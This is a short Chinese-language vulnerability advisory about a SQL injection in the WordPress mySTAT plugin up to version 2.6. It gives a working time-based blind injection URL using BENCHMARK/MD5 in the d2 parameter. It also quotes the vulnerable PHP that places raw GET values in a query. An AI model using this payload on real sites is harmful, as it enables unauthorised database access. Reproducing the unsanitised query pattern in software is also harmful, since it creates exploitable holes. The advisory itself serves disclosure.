标题: WordPress mySTAT plugin <= 2.6 SQL Injection Vulnerability

作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)

下载地址: http://downloads.wordpress.org/plugin/mystat.2.6.zip

影响版本: 2.6 (已测)

备注: magic_quotes has to be turned off

 

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测试

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http://www.2cto.com /wp-content/plugins/mystat/mystat.php?act=stat_img&d1=1&d2=-1') AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

 

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缺陷相关代码

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if(isset($_GET['act'])){

    ...

    if ($_GET['act'] == 'stat_img') {

        myStat_stat_image();

        exit();

    };

};

 

function myStat_stat_image(){

    ...

    if(substr($_GET['d1'],0,10)!=substr($_GET['d2'],0,10)){

        $var=$cmn->getSQL("SELECT DATE_FORMAT(date,'%d-%m-%y'),count(*),sum(count),TO_DAYS(date) FROM `%%PREFIX%%myStat_main` WHERE date > ('".$_GET['d1']."') AND date < ('".$_GET['d2']."') GROUP BY TO_DAYS(date) ORDER BY date DESC LIMIT 0,30;");

 

 

修复：过滤